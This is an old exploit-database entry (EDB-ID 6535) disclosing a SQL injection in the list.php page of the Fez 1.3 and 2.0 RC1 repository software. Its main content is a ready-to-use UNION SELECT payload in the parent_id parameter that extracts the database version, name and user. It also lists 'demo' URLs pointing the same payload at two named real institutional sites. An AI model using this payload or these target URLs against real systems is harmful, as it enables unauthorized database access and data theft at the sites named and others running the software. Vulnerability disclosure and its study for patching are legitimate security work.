Fez 1.3/2.0 RC1 list.php Remote SQL Injection Vulnerability

2008-09-22T00:00:00
ID EDB-ID:6535
Type exploitdb
Reporter d3v1l
Modified 2008-09-22T00:00:00

Description

Fez 1.3/2.0 RC1 (list.php) Remote SQL Injection Vulnerability. CVE-2008-6028. Webapps exploit for php platform

                                        
                                            [~]------------------------------------------------------------------------------
[~] Fez software Version 1.3 AND 2.0 RC1 (list.php) - SQL Injection Vulnerability
[~]
[~] http://sourceforge.net/projects/fez
[~]
[~] About:- [Fez is an open source project to produce and maintain a highly flexible web interface to FEDORA
[~]       for any Library or Institution to configure and publish or archive documents of any type sustainably.]
[~]
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 22.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest|Gibon|Pig       and milw0rm Staff
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~] Demo :- 1.3
[~]
[~] http://repository.openpolytechnic.ac.nz/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]
[~] Demo :- 2.0 RC1
[~]
[~] http://avi.lib.cas.cz/sandbox/fex/trunk/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]-----------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22]